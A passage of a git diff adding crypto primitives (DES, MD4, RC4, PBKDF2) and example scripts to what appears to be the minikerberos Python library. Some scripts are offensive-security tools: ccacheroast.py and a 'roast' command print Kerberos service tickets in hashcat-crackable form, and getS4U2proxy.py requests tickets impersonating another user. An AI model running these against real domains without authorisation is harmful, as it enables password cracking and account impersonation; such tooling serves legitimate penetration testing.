+		"""Will set the Initial Value, used in conjunction with CBC mode"""
+		_baseDes.setIV(self, IV)
+		for key in (self.__key1, self.__key2, self.__key3):
+			key.setIV(IV)
+
+	def encrypt(self, data, pad=None, padmode=None):
+		"""encrypt(data, [pad], [padmode]) -> bytes
+
+		data : bytes to be encrypted
+		pad  : Optional argument for encryption padding. Must only be one byte
+		padmode : Optional argument for overriding the padding mode.
+
+		The data must be a multiple of 8 bytes and will be encrypted
+		with the already specified key. Data does not have to be a
+		multiple of 8 bytes if the padding character is supplied, or
+		the padmode is set to PAD_PKCS5, as bytes will then added to
+		ensure the be padded data is a multiple of 8 bytes.
+		"""
+		ENCRYPT = des.ENCRYPT
+		DECRYPT = des.DECRYPT
+		data = self._guardAgainstUnicode(data)
+		if pad is not None:
+			pad = self._guardAgainstUnicode(pad)
+		# Pad the data accordingly.
+		data = self._padData(data, pad, padmode)
+		if self.getMode() == CBC:
+			self.__key1.setIV(self.getIV())
+			self.__key2.setIV(self.getIV())
+			self.__key3.setIV(self.getIV())
+			i = 0
+			result = []
+			while i < len(data):
+				block = self.__key1.crypt(data[i:i+8], ENCRYPT)
+				block = self.__key2.crypt(block, DECRYPT)
+				block = self.__key3.crypt(block, ENCRYPT)
+				self.__key1.setIV(block)
+				self.__key2.setIV(block)
+				self.__key3.setIV(block)
+				result.append(block)
+				i += 8
+			if _pythonMajorVersion < 3:
+				return ''.join(result)
+			else:
+				return bytes.fromhex('').join(result)
+		else:
+			data = self.__key1.crypt(data, ENCRYPT)
+			data = self.__key2.crypt(data, DECRYPT)
+			return self.__key3.crypt(data, ENCRYPT)
+
+	def decrypt(self, data, pad=None, padmode=None):
+		"""decrypt(data, [pad], [padmode]) -> bytes
+
+		data : bytes to be encrypted
+		pad  : Optional argument for decryption padding. Must only be one byte
+		padmode : Optional argument for overriding the padding mode.
+
+		The data must be a multiple of 8 bytes and will be decrypted
+		with the already specified key. In PAD_NORMAL mode, if the
+		optional padding character is supplied, then the un-encrypted
+		data will have the padding characters removed from the end of
+		the bytes. This pad removal only occurs on the last 8 bytes of
+		the data (last data block). In PAD_PKCS5 mode, the special
+		padding end markers will be removed from the data after
+		decrypting, no pad character is required for PAD_PKCS5.
+		"""
+		ENCRYPT = des.ENCRYPT
+		DECRYPT = des.DECRYPT
+		data = self._guardAgainstUnicode(data)
+		if pad is not None:
+			pad = self._guardAgainstUnicode(pad)
+		if self.getMode() == CBC:
+			self.__key1.setIV(self.getIV())
+			self.__key2.setIV(self.getIV())
+			self.__key3.setIV(self.getIV())
+			i = 0
+			result = []
+			while i < len(data):
+				iv = data[i:i+8]
+				block = self.__key3.crypt(iv,    DECRYPT)
+				block = self.__key2.crypt(block, ENCRYPT)
+				block = self.__key1.crypt(block, DECRYPT)
+				self.__key1.setIV(iv)
+				self.__key2.setIV(iv)
+				self.__key3.setIV(iv)
+				result.append(block)
+				i += 8
+			if _pythonMajorVersion < 3:
+				data = ''.join(result)
+			else:
+				data = bytes.fromhex('').join(result)
+		else:
+			data = self.__key3.crypt(data, DECRYPT)
+			data = self.__key2.crypt(data, ENCRYPT)
+			data = self.__key1.crypt(data, DECRYPT)
+		return self._unpadData(data, pad, padmode)
diff --git a/minikerberos/crypto/DES/__init__.py b/minikerberos/crypto/DES/__init__.py
new file mode 100644
index 0000000..ed887f2
--- /dev/null
+++ b/minikerberos/crypto/DES/__init__.py
@@ -0,0 +1,7 @@
+from .DES import *
+
+DES = des
+DES3 = triple_des
+
+DES_CBC = CBC
+DES_ECB = ECB
\ No newline at end of file
diff --git a/minikerberos/crypto/MD4.py b/minikerberos/crypto/MD4.py
new file mode 100644
index 0000000..3b64dda
--- /dev/null
+++ b/minikerberos/crypto/MD4.py
@@ -0,0 +1,181 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+#
+# Copyright © 2019 James Seo <james@equiv.tech> (github.com/kangtastic).
+#
+# This file is released under the WTFPL, version 2 (wtfpl.net).
+#
+# md4.py: An implementation of the MD4 hash algorithm in pure Python 3.
+#
+# Description: Zounds! Yet another rendition of pseudocode from RFC1320!
+#              Bonus points for the algorithm literally being from 1992.
+#
+# Usage: Why would anybody use this? This is self-rolled crypto, and
+#        self-rolled *obsolete* crypto at that. DO NOT USE if you need
+#        something "performant" or "secure". :P
+#
+#        Anyway, from the command line:
+#
+#           $ ./md4.py [messages]
+#
+#        where [messages] are some strings to be hashed.
+#
+#        In Python, use similarly to hashlib (not that it even has MD4):
+#
+#           from .md4 import MD4
+#
+#           digest = MD4("BEES").hexdigest()
+#
+#           print(digest)  # "501af1ef4b68495b5b7e37b15b4cda68"
+#
+#
+# Sample console output:
+#
+#   Testing the MD4 class.
+#
+#   Message:  b''
+#   Expected: 31d6cfe0d16ae931b73c59d7e0c089c0
+#   Actual:   31d6cfe0d16ae931b73c59d7e0c089c0
+#
+#   Message:  b'The quick brown fox jumps over the lazy dog'
+#   Expected: 1bee69a46ba811185c194762abaeae90
+#   Actual:   1bee69a46ba811185c194762abaeae90
+#
+#   Message:  b'BEES'
+#   Expected: 501af1ef4b68495b5b7e37b15b4cda68
+#   Actual:   501af1ef4b68495b5b7e37b15b4cda68
+#
+import struct
+
+
+class MD4:
+	"""An implementation of the MD4 hash algorithm."""
+
+	width = 32
+	mask = 0xFFFFFFFF
+
+	# Unlike, say, SHA-1, MD4 uses little-endian. Fascinating!
+	h = [0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476]
+
+	def __init__(self, msg=None):
+		""":param ByteString msg: The message to be hashed."""
+		if msg is None:
+			msg = b""
+
+		self.msg = msg
+
+		# Pre-processing: Total length is a multiple of 512 bits.
+		ml = len(msg) * 8
+		msg += b"\x80"
+		msg += b"\x00" * (-(len(msg) + 8) % 64)
+		msg += struct.pack("<Q", ml)
+
+		# Process the message in successive 512-bit chunks.
+		self._process([msg[i : i + 64] for i in range(0, len(msg), 64)])
+
+	def __repr__(self):
+		if self.msg:
+			return f"{self.__class__.__name__}({self.msg:s})"
+		return f"{self.__class__.__name__}()"
+
+	def __str__(self):
+		return self.hexdigest()
+
+	def __eq__(self, other):
+		return self.h == other.h
+
+	def bytes(self):
+		""":return: The final hash value as a `bytes` object."""
+		return struct.pack("<4L", *self.h)
+
+	def hexbytes(self):
+		""":return: The final hash value as hexbytes."""
+		return self.hexdigest().encode
+
+	def hexdigest(self):
+		""":return: The final hash value as a hexstring."""
+		return "".join(f"{value:02x}" for value in self.bytes())
+	
+	def digest(self):
+		return self.bytes()
+
+	def _process(self, chunks):
+		for chunk in chunks:
+			X, h = list(struct.unpack("<16I", chunk)), self.h.copy()
+
+			# Round 1.
+			Xi = [3, 7, 11, 19]
+			for n in range(16):
+				i, j, k, l = map(lambda x: x % 4, range(-n, -n + 4))
+				K, S = n, Xi[n % 4]
+				hn = h[i] + MD4.F(h[j], h[k], h[l]) + X[K]
+				h[i] = MD4.lrot(hn & MD4.mask, S)
+
+			# Round 2.
+			Xi = [3, 5, 9, 13]
+			for n in range(16):
+				i, j, k, l = map(lambda x: x % 4, range(-n, -n + 4))
+				K, S = n % 4 * 4 + n // 4, Xi[n % 4]
+				hn = h[i] + MD4.G(h[j], h[k], h[l]) + X[K] + 0x5A827999
+				h[i] = MD4.lrot(hn & MD4.mask, S)
+
+			# Round 3.
+			Xi = [3, 9, 11, 15]
+			Ki = [0, 8, 4, 12, 2, 10, 6, 14, 1, 9, 5, 13, 3, 11, 7, 15]
+			for n in range(16):
+				i, j, k, l = map(lambda x: x % 4, range(-n, -n + 4))
+				K, S = Ki[n], Xi[n % 4]
+				hn = h[i] + MD4.H(h[j], h[k], h[l]) + X[K] + 0x6ED9EBA1
+				h[i] = MD4.lrot(hn & MD4.mask, S)
+
+			self.h = [((v + n) & MD4.mask) for v, n in zip(self.h, h)]
+
+	@staticmethod
+	def F(x, y, z):
+		return (x & y) | (~x & z)
+
+	@staticmethod
+	def G(x, y, z):
+		return (x & y) | (x & z) | (y & z)
+
+	@staticmethod
+	def H(x, y, z):
+		return x ^ y ^ z
+
+	@staticmethod
+	def lrot(value, n):
+		lbits, rbits = (value << n) & MD4.mask, value >> (MD4.width - n)
+		return lbits | rbits
+
+
+def main():
+	# Import is intentionally delayed.
+	import sys
+
+	if len(sys.argv) > 1:
+		messages = [msg.encode() for msg in sys.argv[1:]]
+		for message in messages:
+			print(MD4(message).hexdigest())
+	else:
+		messages = [b"", b"The quick brown fox jumps over the lazy dog", b"BEES"]
+		known_hashes = [
+			"31d6cfe0d16ae931b73c59d7e0c089c0",
+			"1bee69a46ba811185c194762abaeae90",
+			"501af1ef4b68495b5b7e37b15b4cda68",
+		]
+
+		print("Testing the MD4 class.")
+		print()
+
+		for message, expected in zip(messages, known_hashes):
+			print("Message: ", message)
+			print("Expected:", expected)
+			print("Actual:  ", MD4(message).hexdigest())
+			print()
+
+
+if __name__ == "__main__":
+	try:
+		main()
+	except KeyboardInterrupt:
+		pass
diff --git a/minikerberos/crypto/PBKDF2/__init__.py b/minikerberos/crypto/PBKDF2/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/minikerberos/crypto/PBKDF2/pbkdf2.py b/minikerberos/crypto/PBKDF2/pbkdf2.py
new file mode 100644
index 0000000..2d6a20c
--- /dev/null
+++ b/minikerberos/crypto/PBKDF2/pbkdf2.py
@@ -0,0 +1,45 @@
+
+#https://codereview.stackexchange.com/questions/87538/python-pbkdf2-using-core-modules
+import hmac
+import struct
+import hashlib
+
+def pbkdf2(password, salt, iters, keylen, digestmod = hashlib.sha1):
+	"""Run the PBKDF2 (Password-Based Key Derivation Function 2) algorithm
+	and return the derived key. The arguments are:
+
+	password (bytes or bytearray) -- the input password
+	salt (bytes or bytearray) -- a cryptographic salt
+	iters (int) -- number of iterations
+	keylen (int) -- length of key to derive
+	digestmod -- a cryptographic hash function: either a module
+		supporting PEP 247, a hashlib constructor, or (in Python 3.4
+		or later) the name of a hash function.
+
+	For example:
+
+	>>> import hashlib
+	>>> from binascii import hexlify, unhexlify
+	>>> password = b'Squeamish Ossifrage'
+	>>> salt = unhexlify(b'1234567878563412')
+	>>> hexlify(pbkdf2(password, salt, 500, 16, hashlib.sha1))
+	b'9e8f1072bdf5ef042bd988c7da83e43b'
+
+	"""
+	h = hmac.new(password, digestmod=digestmod)
+	def prf(data):
+		hm = h.copy()
+		hm.update(data)
+		return bytearray(hm.digest())
+
+	key = bytearray()
+	i = 1
+	while len(key) < keylen:
+		T = U = prf(salt + struct.pack('>i', i))
+		for _ in range(iters - 1):
+			U = prf(U)
+			T = bytearray(x ^ y for x, y in zip(T, U))
+		key += T
+		i += 1
+
+	return key[:keylen]
\ No newline at end of file
diff --git a/minikerberos/crypto/RC4.py b/minikerberos/crypto/RC4.py
new file mode 100644
index 0000000..ffc5c44
--- /dev/null
+++ b/minikerberos/crypto/RC4.py
@@ -0,0 +1,70 @@
+"""
+The idea here is to offer compatibility with 3rd party libraries by extending wrappers for ech encryption mode
+This is needed because the pure python implementation for encryption and hashing algorithms are quite slow
+
+currently it's not the perfect wrapper, needs to be extended
+"""
+
+from minikerberos.crypto.BASE import symmetricBASE, cipherMODE
+from minikerberos.crypto.pure.RC4.RC4 import RC4 as _pureRC4
+try:
+	from Crypto.Cipher import ARC4 as _pyCryptoRC4
+except Exception as e:
+	#print(e)
+	pass
+
+try:
+	from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
+	from cryptography.hazmat.backends import default_backend
+except:
+	pass
+
+class pureRC4(symmetricBASE):
+	def __init__(self, key):
+		if not isinstance(key, bytes):
+			raise Exception('Key needs to be bytes!')
+		self.key = key
+		symmetricBASE.__init__(self)
+		
+
+
+	def setup_cipher(self):		
+		self._cipher = _pureRC4(self.key)
+
+	def encrypt(self, data):
+		return self._cipher.encrypt(data)
+	def decrypt(self, data):
+		return self._cipher.decrypt(data)
+
+class pyCryptoRC4(symmetricBASE):
+	def __init__(self, key):
+		self.key = key
+		symmetricBASE.__init__(self)
+		
+	def setup_cipher(self):
+		self._cipher = _pyCryptoRC4.new(self.key)
+		
+	def encrypt(self, data):
+		return self._cipher.encrypt(data)
+	def decrypt(self, data):
+		return self._cipher.decrypt(data)
+
+class cryptographyRC4(symmetricBASE):
+	def __init__(self, key):
+		if not isinstance(key, bytes):
+			raise Exception('Key needs to be bytes!')
+		self.key = key
+		self.encryptor = None
+		self.decryptor = None
+		symmetricBASE.__init__(self)
+
+	def setup_cipher(self):
+		algorithm = algorithms.ARC4(self.key)
+		self._cipher = Cipher(algorithm, mode=None, backend=default_backend())
+		self.encryptor = self._cipher.encryptor()
+		self.decryptor = self._cipher.decryptor()
+
+	def encrypt(self, data):
+		return self.encryptor.update(data)
+	def decrypt(self, data):
+		return self.decryptor.update(data)
\ No newline at end of file
diff --git a/minikerberos/crypto/RC4/RC4.py b/minikerberos/crypto/RC4/RC4.py
new file mode 100644
index 0000000..375630a
--- /dev/null
+++ b/minikerberos/crypto/RC4/RC4.py
@@ -0,0 +1,64 @@
+#!/usr/bin/env python
+
+
+"""
+    https://raw.githubusercontent.com/bozhu/RC4-Python/master/rc4.py
+
+    Copyright (C) 2012 Bo Zhu http://about.bozhu.me
+
+    Permission is hereby granted, free of charge, to any person obtaining a
+    copy of this software and associated documentation files (the "Software"),
+    to deal in the Software without restriction, including without limitation
+    the rights to use, copy, modify, merge, publish, distribute, sublicense,
+    and/or sell copies of the Software, and to permit persons to whom the
+    Software is furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
+    THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+    FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
+    DEALINGS IN THE SOFTWARE.
+"""
+class RC4():
+    def __init__(self, key):
+        self.key  = key
+        self.S    = self.KSA()
+        self.keystream = self.PRGA()
+
+    def KSA(self):
+        keylength = len(self.key)
+
+        S = list(range(256))
+
+        j = 0
+        for i in range(256):
+            j = (j + S[i] + self.key[i % keylength]) % 256
+            S[i], S[j] = S[j], S[i]  # swap
+
+        return S
+
+    def PRGA(self):
+        i = 0
+        j = 0
+        while True:
+            i = (i + 1) % 256
+            j = (j + self.S[i]) % 256
+            self.S[i], self.S[j] = self.S[j], self.S[i]  # swap
+
+            K = self.S[(self.S[i] + self.S[j]) % 256]
+            yield K
+
+
+    def encrypt(self, data):
+        res = b''
+        for b in data:
+            res += (b ^ next(self.keystream)).to_bytes(1, byteorder = 'big', signed = False)
+        return res
+
+    def decrypt(self, data):
+        return self.encrypt(data)
\ No newline at end of file
diff --git a/minikerberos/crypto/RC4/__init__.py b/minikerberos/crypto/RC4/__init__.py
new file mode 100644
index 0000000..931a480
--- /dev/null
+++ b/minikerberos/crypto/RC4/__init__.py
@@ -0,0 +1 @@
+from .RC4 import *
\ No newline at end of file
diff --git a/minikerberos/crypto/__init__.py b/minikerberos/crypto/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/minikerberos/crypto/hashing.py b/minikerberos/crypto/hashing.py
new file mode 100644
index 0000000..3cbf37f
--- /dev/null
+++ b/minikerberos/crypto/hashing.py
@@ -0,0 +1,55 @@
+import hashlib
+import hmac
+
+from minikerberos.crypto.BASE import hashBASE, hmacBASE
+from minikerberos.crypto.MD4 import MD4 
+
+class md5(hashBASE):
+	def __init__(self, data = None):
+		hashBASE.__init__(self, data)
+	def setup_hash(self):
+		self._hash = hashlib.new('md5')
+	def update(self, data):
+		return self._hash.update(data)
+	def digest(self):
+		return self._hash.digest()
+	def hexdigest(self):
+		return self._hash.hexdigest()
+
+#class md4(hashBASE):
+#	def __init__(self, data = None):
+#		hashBASE.__init__(self, data)
+#	def setup_hash(self):
+#		self._hash = hashlib.new('md4')
+#	def update(self, data):
+#		return self._hash.update(data)
+#	def digest(self):
+#		return self._hash.digest()
+#	def hexdigest(self):
+#		return self._hash.hexdigest()
+
+md4 = MD4
+
+class hmac_md5(hmacBASE):
+	def __init__(self, key):
+		hmacBASE.__init__(self, key)
+	def setup_hash(self):
+		self._hmac = hmac.new(self._key, digestmod = hashlib.md5)
+	def update(self, data):
+		return self._hmac.update(data)
+	def digest(self):
+		return self._hmac.digest()
+	def hexdigest(self):
+		return self._hmac.hexdigest()	
+
+class sha256():
+	def __init__(self, data = None):
+		hashBASE.__init__(self, data)
+	def setup_hash(self):
+		self._hash = hashlib.new('sha256')
+	def update(self, data):
+		return self._hash.update(data)
+	def digest(self):
+		return self._hash.digest()
+	def hexdigest(self):
+		return self._hash.hexdigest()	
\ No newline at end of file
diff --git a/minikerberos/examples/__init__.py b/minikerberos/examples/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/minikerberos/examples/__main__.py b/minikerberos/examples/__main__.py
new file mode 100644
index 0000000..bd4b99c
--- /dev/null
+++ b/minikerberos/examples/__main__.py
@@ -0,0 +1,44 @@
+#!/usr/bin/env python3
+#
+# Author:
+#  Tamas Jos (@skelsec)
+#
+import os
+import logging
+import ntpath
+
+from minikerberos.ccache import CCACHE, Credential
+from minikerberos.common import print_table
+from minikerberos import logger
+
+def main():
+	import argparse
+
+	parser = argparse.ArgumentParser(description='Prints CCACHE file info')
+	parser.add_argument('ccachefile', help='input CCACHE file')
+	parser.add_argument('-v', '--verbose', action='count', default=0)
+	args = parser.parse_args()
+	
+	###### VERBOSITY
+	if args.verbose == 0:
+		logging.basicConfig(level=logging.INFO)
+	else:
+		logging.basicConfig(level=logging.DEBUG)
+
+	
+	logging.basicConfig(level=logging.INFO)
+	logging.debug('Opening file %s' % args.ccachefile)
+	cc = CCACHE.from_file(args.ccachefile)
+
+	table = []
+	table.append(['id'] + Credential.summary_header())
+	i = 0
+	for cred in cc.credentials:
+		table.append([str(i)] + cred.summary())
+		i += 1
+	print()	#this line intentionally left blank
+	print_table(table)
+	
+
+if __name__ == '__main__':
+	main()
\ No newline at end of file
diff --git a/minikerberos/examples/ccache2kirbi.py b/minikerberos/examples/ccache2kirbi.py
new file mode 100644
index 0000000..fafd401
--- /dev/null
+++ b/minikerberos/examples/ccache2kirbi.py
@@ -0,0 +1,33 @@
+#!/usr/bin/env python3
+#
+# Author:
+#  Tamas Jos (@skelsec)
+#
+import os
+import logging
+from minikerberos.common.ccache import CCACHE
+
+def main():
+	import argparse
+	
+	parser = argparse.ArgumentParser(description='Convert ccache file to kirbi file(s)')
+	parser.add_argument('ccache', help='path to the ccache file')
+	parser.add_argument('kirbidir', help='output directory fir the extracted kirbi file(s)')	
+	parser.add_argument('-v', '--verbose', action='count', default=0)
+	
+	args = parser.parse_args()
+	if args.verbose == 0:
+		logging.basicConfig(level=logging.INFO)
+	elif args.verbose == 1:
+		logging.basicConfig(level=logging.DEBUG)
+	else:
+		logging.basicConfig(level=1)
+	
+	logging.info('Parsing CCACHE file')
+	cc = CCACHE.from_file(args.ccache)
+	logging.info('Extracting kirbi file(s)')
+	cc.to_kirbidir(args.kirbidir)
+	logging.info('Done!')
+
+if __name__ == '__main__':
+	main()
\ No newline at end of file
diff --git a/minikerberos/examples/ccache_editor.py b/minikerberos/examples/ccache_editor.py
new file mode 100644
index 0000000..2c4279e
--- /dev/null
+++ b/minikerberos/examples/ccache_editor.py
@@ -0,0 +1,77 @@
+#!/usr/bin/env python3
+#
+# Author:
+#  Tamas Jos (@skelsec)
+#
+import os
+import logging
+import ntpath
+
+from minikerberos.common.ccache import CCACHE, Credential
+from minikerberos.common.utils import print_table
+
+def main():
+	import argparse
+
+	parser = argparse.ArgumentParser(description='Tool to manipulate CCACHE files')
+	subparsers = parser.add_subparsers(help = 'commands')
+	subparsers.required = True
+	subparsers.dest = 'command'
+	
+	roast_group = subparsers.add_parser('roast', help='Lists all tickets in hashcat-friendly format')
+	roast_group.add_argument('-a', '--allhash', action='store_true', help='Process all tickets, regardless of enctype')
+	roast_group.add_argument('-o', '--outfile', help='Output hash file name')
+	
+	list_group = subparsers.add_parser('list', help='List all tickets in the file')
+	
+	delete_group = subparsers.add_parser('del', help = 'Delete ticket(s) from file, store the new ccache file in a specified filename, or an automatically generated one')
+	delete_group.add_argument('-o', '--outfile', help='Output ccache file name')
+	delete_group.add_argument('-i','--id', type=int, action='append', help='Ticket ID to delete', required=True)
+	parser.add_argument('ccachefile', help='input CCACHE file')
+	args = parser.parse_args()
+
+	
+	logging.basicConfig(level=logging.INFO)
+	logging.debug('Opening file %s' % args.ccachefile)
+	cc = CCACHE.from_file(args.ccachefile)
+
+	if args.command == 'list':
+		table = []
+		table.append(['id'] + Credential.summary_header())
+		i = 0
+		for cred in cc.credentials:
+			table.append([str(i)] + cred.summary())
+			i += 1
+		print()	#this line intentionally left blank
+		print_table(table)
+
+	elif args.command == 'roast':
+		if args.outfile:
+			with open(args.outfile, 'wb') as f:
+				for h in cc.get_hashes(all_hashes = args.allhash):
+					f.write(h.encode() + b'\r\n')
+		else:
+			for h in cc.get_hashes(all_hashes = args.allhash):
+				print(h)
+	
+	elif args.command == 'del':
+		#delete
+		output_filename = os.path.join(os.path.dirname(os.path.abspath(args.ccachefile)), '%s.edited.ccache' % ntpath.basename(args.ccachefile)) #sorry for this, im tired now :(
+		id = args.id
+		temp_cc = CCACHE()
+		temp_cc.file_format_version = cc.file_format_version
+		temp_cc.headers = cc.headers
+		temp_cc.primary_principal = cc.primary_principal
+		i = 0
+		for cred in cc.credentials:
+			if i in id:
+				i += 1
+				continue
+			
+			temp_cc.credentials.append(cred)
+			i += 1
+		logging.info('Writing edited file to %s' % output_filename)
+		temp_cc.to_file(output_filename)
+
+if __name__ == '__main__':
+	main()
\ No newline at end of file
diff --git a/minikerberos/examples/ccacheroast.py b/minikerberos/examples/ccacheroast.py
new file mode 100644
index 0000000..d51dbd2
--- /dev/null
+++ b/minikerberos/examples/ccacheroast.py
@@ -0,0 +1,22 @@
+#!/usr/bin/env python3
+#
+# Author:
+#  Tamas Jos (@skelsec)
+#
+
+from minikerberos.common.ccache import CCACHE
+
+def main():
+	import argparse
+	parser = argparse.ArgumentParser(description='Parses CCACHE file and outputs all TGS tickets in a hashcat-crackable format')
+	parser.add_argument('ccache', help='CCACHE file to roast')
+	
+	args = parser.parse_args()
+	
+	ccache = CCACHE.from_file(args.ccache)
+	for hash in ccache.get_hashes(all_hashes = True):
+		print(hash)
+		
+		
+if __name__ == '__main__':
+	main()
\ No newline at end of file
diff --git a/minikerberos/examples/getS4U2proxy.py b/minikerberos/examples/getS4U2proxy.py
new file mode 100644
index 0000000..efc8e14
--- /dev/null
+++ b/minikerberos/examples/getS4U2proxy.py
@@ -0,0 +1,72 @@
+#!/usr/bin/env python3
+#
+# Author:
+#  Tamas Jos (@skelsec)
+#
+import os
+import logging
+import asyncio
+
+from minikerberos import logger
+from minikerberos.common.url import KerberosClientURL, kerberos_url_help_epilog
+from minikerberos.aioclient import AIOKerberosClient
+from minikerberos.common.spn import KerberosSPN
+
+import pprint
+
+async def amain(args):
+	cu = KerberosClientURL.from_url(args.kerberos_connection_url)
+	ccred = cu.get_creds()
+	target = cu.get_target()
+
+	service_spn = KerberosSPN.from_target_string(args.spn)
+	target_user = KerberosSPN.from_user_email(args.targetuser)
+	
+	if not ccred.ccache:
+		logger.debug('Getting TGT')
+		client = AIOKerberosClient(ccred, target)
+		await client.get_TGT()
+		logger.debug('Getting ST')
+		tgs, encTGSRepPart, key = await client.getST(target_user, service_spn)
+	else:
+		logger.debug('Getting TGS via TGT from CCACHE')
+		for tgt, key in ccred.ccache.get_all_tgt():
+			try:
+				logger.info('Trying to get SPN with %s' % '!'.join(tgt['cname']['name-string']))
+				client = AIOKerberosClient.from_tgt(target, tgt, key)
+
+				tgs, encTGSRepPart, key = await client.getST(target_user, service_spn)
+				logger.info('Sucsess!')
+			except Exception as e:
+				logger.debug('This ticket is not usable it seems Reason: %s' % e)
+				continue
+			else:
+				break
+
+	client.ccache.to_file(args.ccache)	
+	logger.info('Done!')
+
+
+def main():
+	import argparse
+	
+	parser = argparse.ArgumentParser(description='Gets an S4U2proxy ticket impersonating given user', formatter_class=argparse.RawDescriptionHelpFormatter, epilog = kerberos_url_help_epilog)
+	parser.add_argument('kerberos_connection_url', help='the kerberos target string in the following format <domain>/<username>/<secret_type>:<secret>@<domaincontroller-ip>')
+	parser.add_argument('spn', help='the service principal in format <service>/<server-hostname>@<domain> Example: cifs/fileserver.test.corp@TEST.corp for a TGS ticket to be used for file access on server "fileserver". IMPORTANT: SERVER\'S HOSTNAME MUST BE USED, NOT IP!!!')
+	parser.add_argument('targetuser', help='')
+	parser.add_argument('ccache', help='ccache file to store the TGT ticket in')
+	parser.add_argument('-v', '--verbose', action='count', default=0)
+	
+	args = parser.parse_args()
+	if args.verbose == 0:
+		logger.setLevel(logging.WARNING)
+	elif args.verbose == 1:
+		logger.setLevel(logging.INFO)
+	else:
+		logger.setLevel(1)
+
+	asyncio.run(amain(args))
+	
+	
+if __name__ == '__main__':
+	main()
\ No newline at end of file
diff --git a/minikerberos/examples/getTGS.py b/minikerberos/examples/getTGS.py
new file mode 100644
index 0000000..f0a130e
--- /dev/null
+++ b/minikerberos/examples/getTGS.py
@@ -0,0 +1,79 @@
+#!/usr/bin/env python3
+#
+# Author:
+#  Tamas Jos (@skelsec)
+#
+import os
+import logging
+import asyncio
+from minikerberos.common.url import KerberosClientURL, kerberos_url_help_epilog
+from minikerberos.common.spn import KerberosSPN
+from minikerberos.aioclient import AIOKerberosClient
+
+async def amain(args):
+
+	if args.spn.find('@') == -1:
+		raise Exception('SPN must contain @')
+	t, domain = args.spn.split('@')
+	if t.find('/') != -1:
+		service, hostname = t.split('/')
+	else:
+		hostname = t
+		service = None
+
+	spn = KerberosSPN()
+	spn.username = hostname
+	spn.service = service
+	spn.domain = domain
+
+	cu = KerberosClientURL.from_url(args.kerberos_connection_url)
+	ccred = cu.get_creds()
+	target = cu.get_target()
+	
+	logging.debug('Getting TGT')
+	
+	if not ccred.ccache:
+		client = AIOKerberosClient(ccred, target)
+		logging.debug('Getting TGT')
+		await client.get_TGT()
+		logging.debug('Getting TGS')
+		await client.get_TGS(spn)
+	else:
+		logging.debug('Getting TGS via TGT from CCACHE')
+		for tgt, key in ccred.ccache.get_all_tgt():
+			try:
+				logging.info('Trying to get SPN with %s' % '!'.join(tgt['cname']['name-string']))
+				client = AIOKerberosClient.from_tgt(target, tgt, key)
+				await client.get_TGS(spn)
+				logging.info('Sucsess!')
+			except Exception as e:
+				logging.debug('This ticket is not usable it seems Reason: %s' % e)
+				continue
+			else:
+				break
+				
+	client.ccache.to_file(args.ccache)
+	logging.info('Done!')
+
+def main():
+	import argparse
+	
+	parser = argparse.ArgumentParser(description='Polls the kerberos service for a TGS for the sepcified user and specified service', formatter_class=argparse.RawDescriptionHelpFormatter, epilog = kerberos_url_help_epilog)
+	parser.add_argument('kerberos_connection_url', help='the kerberos target string in the following format <domain>/<username>/<secret_type>:<secret>@<domaincontroller-ip>')
+	parser.add_argument('spn', help='the service principal in format <service>/<server-hostname>@<domain> Example: cifs/fileserver.test.corp@TEST.corp for a TGS ticket to be used for file access on server "fileserver". IMPORTANT: SERVER\'S HOSTNAME MUST BE USED, NOT IP!!!')
+	parser.add_argument('ccache', help='ccache file to store the TGT ticket in')
+	parser.add_argument('-u', action='store_true', help='Use UDP instead of TCP (not tested)')
+	parser.add_argument('-v', '--verbose', action='count', default=0)
+	
+	args = parser.parse_args()
+	if args.verbose == 0:
+		logging.basicConfig(level=logging.INFO)
+	elif args.verbose == 1:
+		logging.basicConfig(level=logging.DEBUG)
+	else:
+		logging.basicConfig(level=1)
+	
+	asyncio.run(amain(args))
+	
+if __name__ == '__main__':
+	main()
\ No newline at end of file
diff --git a/minikerberos/examples/getTGT.py b/minikerberos/examples/getTGT.py
new file mode 100644
index 0000000..9a5fcb8
--- /dev/null
+++ b/minikerberos/examples/getTGT.py
@@ -0,0 +1,45 @@
+#!/usr/bin/env python3
+#
+# Author:
+#  Tamas Jos (@skelsec)
+#
+import os
+import logging
+import asyncio
+from minikerberos.common.url import KerberosClientURL, kerberos_url_help_epilog
+from minikerberos.aioclient import AIOKerberosClient
+
+async def amain(args):
+	cu = KerberosClientURL.from_url(args.kerberos_connection_url)
+	ccred = cu.get_creds()
+	target = cu.get_target()
+
+	logging.debug('Getting TGT')
+	
+	client = AIOKerberosClient(ccred, target)
+	await client.get_TGT()
+	client.ccache.to_file(args.ccache)	
+	logging.info('Done!')
+
+
+def main():
+	import argparse
+	
+	parser = argparse.ArgumentParser(description='Polls the kerberos service for a TGT for the sepcified user', formatter_class=argparse.RawDescriptionHelpFormatter, epilog = kerberos_url_help_epilog)
+	parser.add_argument('kerberos_connection_url', help='the kerberos target string. ')
+	parser.add_argument('ccache', help='ccache file to store the TGT ticket in')
+	parser.add_argument('-v', '--verbose', action='count', default=0)
+	
+	args = parser.parse_args()
+	if args.verbose == 0:
+		logging.basicConfig(level=logging.INFO)
+	elif args.verbose == 1:
+		logging.basicConfig(level=logging.DEBUG)
+	else:
+		logging.basicConfig(level=1)
+	
+	asyncio.run(amain(args))
+	
+	
+if __name__ == '__main__':
+	main()
\ No newline at end of file
diff --git a/minikerberos/examples/kirbi2ccache.py b/minikerberos/examples/kirbi2ccache.py
new file mode 100644
index 0000000..8dc265c
--- /dev/null
+++ b/minikerberos/examples/kirbi2ccache.py
